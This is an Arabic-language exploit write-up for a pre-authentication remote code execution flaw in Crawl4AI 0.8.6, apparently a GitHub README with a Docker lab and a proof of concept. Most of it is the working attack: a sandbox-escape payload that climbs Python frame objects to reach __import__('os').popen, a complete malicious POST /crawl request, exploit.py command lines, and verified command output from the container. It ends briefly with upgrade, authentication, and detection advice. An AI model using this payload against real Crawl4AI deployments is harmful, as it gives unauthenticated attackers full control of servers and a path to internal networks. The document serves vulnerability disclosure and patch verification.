CVE-2026-53753 — Crawl4AI <0.8.7 ثغرة RCE غير مصادق عليها (هروب من صندوق رمل AST عبر gi_frame.f_back). مختبر + PoC، تم التحقق منه e2e.
هجوم RCE قبل المصادقة في Crawl4AI
< 0.8.7. مخططJsonCssExtractionStrategyمموّه يُرسَل إلى نقطة النهاية غير المصادقةPOST /crawlيصل إلى مقيم الحقول المحسوبة (_safe_eval_expression)، يهرب من قائمة AST المسموحة عبر كائنات إطار Python، يصل إلىbuiltinsالحقيقية، ويشغّل__import__('os').popen(<cmd>).read()— ويعيد إخراج الأمر ضمن الاستجابة JSON.
| CVE | CVE-2026-53753 |
| الإبلاغ | GHSA-qxjp-w3pj-48m7 |
| المتأثر | Crawl4AI <= 0.8.6 |
| المُصحَّح | 0.8.7 |
| التصنيف | CWE-94 (حقن تعليمات) / هروب صندوق حماية Python |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| المصادقة | لا شيء — التهيئة المرفقة بها jwt_enabled: false |
| الحالة | مؤكَّد — تم إعادة إنتاج الهجوم بالكامل ضد الصورة الرسمية unclecode/crawl4ai:0.8.6 |
تعمق: راجع
ANALYSIS.mdلشرح عقدة بعقدة لـ AST، ومكدس الإطارات وقت التشغيل، وتدفق بيانات الطلب، وفرق التصحيح.
في crawl4ai/extraction_strategy.py يُسمح لمخطط الاستخراج بتعريف حقول محسوبة — تعبيرات Python صغيرة تُقيّم لكل عنصر مستخرج. تُشغّل بواسطة _safe_eval_expression()، التي تحاول عزل التعبير داخل صندوق حماية باستخدام قائمة AST مسموحة ومجموعة __builtins__ مجرّدة:
# crawl4ai/extraction_strategy.py (v0.8.6)
for node in ast.walk(tree):
if isinstance(node, (ast.Import, ast.ImportFrom)):
raise ValueError("Import statements are not allowed in expressions")
# Block dunder attribute access, e.g. __class__, __globals__
if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
if isinstance(node, ast.Call):
func = node.func
if isinstance(func, ast.Name) and func.id.startswith("_"):
raise ValueError(...)
if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
raise ValueError(...)
safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)
المُتحقِّق هو منع بالبادئة: يرفض فقط الأسماء التي تبدأ بـ _ (بالإضافة إلى import). هذه القاعدة الواحدة هي كل الصندوق الآمن — ولديها ثلاثة ثغرات تتحد لتشكّل هروباً كاملاً:
| # | الثغرة | لماذا تهم |
|---|---|---|
| 1 | gi_frame, f_back, f_builtins لا تبدأ بـ _ | يمكن الوصول إلى كامل سطح تفقد الإطارات/المولدات في Python. |
| 2 | obj['__import__'] هو ast.Subscript، ليس ast.Attribute | لا يفحص المُتحقِّق مفاتيح الاشتراك في القاموس أبداً، لذا فالمفتاح __import__ يمر. |
| 3 | سلسلة f_back لمولد قيد التشغيل تؤدي إلى إطار خارجي يحتوي f_builtins على builtins الحقيقية | يهرب من _SAFE_EVAL_BUILTINS المجرّدة عائداً إلى الكاملة (__import__، إلخ). |
يصل المخطط إلى هذه الدالة بدون مصادقة: شحنة Docker API تحتوي على security.jwt_enabled: false، لذا فإن اعتماد رمز /crawl هو lambda: None.
تعبير الحقل المحسوب هو:
(lambda: (
(g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/main/%27os%27).popen('id').read()
for i in [1])),
list(g)
)[-1])()
قراءة كل جزء:
| الجزء | الدور | لماذا يسمح به المُتحقِّق |
|---|---|---|
(lambda: ... )() | ينشئ نطاق دالة بحيث يعيش الاسم المرتبط بـ := في خلية إغلاق. | ast.Lambda لا يُفحص. |
g := ( <expr> for i in [1]) | يربط المولد بـ g وجسم المولد يشير إلى g (نفسه). | := وتعبيرات المولد لا تُفحص. (العامل := غير قانوني في مجال التكرار للتعبير المولّد، لذا يوضع في عنصر tuple بدلاً من ذلك.) |
list(g) | يُشغّل المولد — لذا يكون إطاره نشطاً عندما يُنفَّذ الجسم. | list ضمن builtins الآمنة. |
g.gi_frame | كائن الإطار الخاص بالمولد. | gi_frame لا يبدأ بـ _. |
.f_back.f_back.f_back | يصعد ثلاثة إطارات ليصل إلى إطار يحتوي على builtins الحقيقية. | f_back لا يبدأ بـ _. |
.f_builtins | خريطة builtins لذلك الإطار (الحقيقية). | f_builtins لا يبدأ بـ _. |
['__import__'] | يجلب __import__ من قاموس builtins. | اشتراك في قاموس — لا يُفحص أبداً. |
('os') | __import__('os') → وحدة os. | هدف الاستدعاء هو Subscript، وليس Name/Attribute. |
.popen('id').read() | يشغّل الأمر ويعيد مخرجاته القياسية. | popen/read لا يبدآن بـ _. |
بما أن قيمة المولد هي os.popen(cmd).read()، فإن مخرجات الأمر القياسية تصبح قيمة الحقل وتُعكس في استجابة /crawl — مؤشر ضمن الاستجابة، لا حاجة لـ OAST.
builtins الحقيقيةبينما يكرار list(g) على المولد، تبدو مكدس الاستدعاء كالتالي:
frame: _safe_eval_expression() <-- builtins الحقيقية (__import__ موجود هنا) ← f_back ×3
└ frame: <expression> (eval) <-- builtins محصورة (_SAFE_EVAL_BUILTINS) ← f_back ×2
└ frame: <lambda> <-- محصورة ← f_back ×1
└ frame: <genexpr> g <-- قيد التشغيل؛ g.gi_frame هو هذا الإطار ← gi_frame
g.gi_frame.f_back يُملأ فقط أثناء تشغيل المولد (لهذا السبب يجب أن يشير المولد إلى نفسه ويُشغّل بواسطة list(g) — فالمولد الذي لم يبدأ تشغيله لديه f_back is None). الصعود ثلاث مرات عبر f_back يصل إلى إطار _safe_eval_expression، الذي يحتوي f_builtins على وحدة builtins الكاملة — والتي يُسحب منها __import__ بالاشتراك.
عمق الإطار ثابت لهذا المسار البرمجي:
f_back × 3صحيح لـ Crawl4AI 0.8.6 في_safe_eval_expression.
الصورة الرسمية تحتوي على الإعداد الافتراضي الضعيف (بدون مصادقة):
# الخيار أ — docker compose (مضيف Docker عادي مع شبكة bridge)
docker compose -f lab/docker-compose.yml up -d
# الخيار ب — docker run عادي
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6
انتظر ~20 ثانية حتى يسخن تجمع المتصفح (docker logs crawl4ai-vuln → Application startup complete).
# فحص جسم الطلب دون إرساله:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload
# تنفيذه (مخرجات الأمر تعود في الاستجابة):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"
exploit.py يستخدم فقط مكتبة Python القياسية — لا تبعيات.
[*] POST http://127.0.0.1:11235/crawl (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
{
\"out\": [
\"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
]
}
]" ...
حقل out هو حالة نظام التشغيل الحية (إخراج id، uname، ملف os-release الخاص بالحاوية)، وليس صدى للطلب — uid=999(appuser) هو حساب الخدمة داخل الحاوية، مما يثبت تنفيذ التعليمات داخل مضيف Crawl4AI. يُعكس echo <marker> فريد حرفياً، مؤكداً أن الأمر نُفذ فعلاً.
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json
{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
"crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
{"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
"fields":[{"name":"out","type":"computed","expression":"<PAYLOAD FROM §2>"}]}}}}}}
raw://… يجعل الطلب مكتفياً ذاتياً — لا حاجة لجلب خارجي؛ المهاجم يقدم HTML مباشرة.baseSelector: "div" يحتاج فقط إلى مطابقة عنصر حتى يُقيّم حقل محسوب. مقابل هدف زحف حقيقي، استخدم أي محدد يطابق الصفحة.| العَرَض | السبب / الإصلاح |
|---|---|
Connection refused على :11235 | الحاوية لا تزال تسخن، أو برنامج Docker الخفي لا يملك شبكة bridge صالحة. انتظر Application startup complete؛ إذا لم يعمل ربط المنفذ، شغّل الحاوية مع --network host. |
out هو null | المحدد الأساسي لم يطابق أي عنصر — تأكد من أن HTML في raw:// يحتوي على <div> (أو اضبط baseSelector). |
| يعمل على 0.8.6 وليس 0.8.7 | متوقع — 0.8.7 يزيل _safe_eval_expression ويعطّل مفتاح expression بالكامل (الإصلاح). |
أي عميل يمكنه الوصول إلى الشبكة ينفذ أوامر نظام تشغيل عشوائية على مضيف Crawl4AI بدون أي مصادقة في النشر الافتراضي — اختراق كامل للخادم والانتقال إلى أي موارد داخلية يمكنه الوصول إليها.
_safe_eval_expression؛ مفتاح الحقل المحسوب expression معطّل — استخدم المفتاح function مع دالة Python موثوقة بدلاً من ذلك).jwt_enabled: true + api_token) ولا تعرّض API Crawl4AI لشبكات غير موثوقة أبداً.راقب أجسام طلبات POST /crawl (و /crawl/stream) التي تحتوي على gi_frame أو f_back أو f_builtins أو أي حقل computed يحمل مفتاح expression.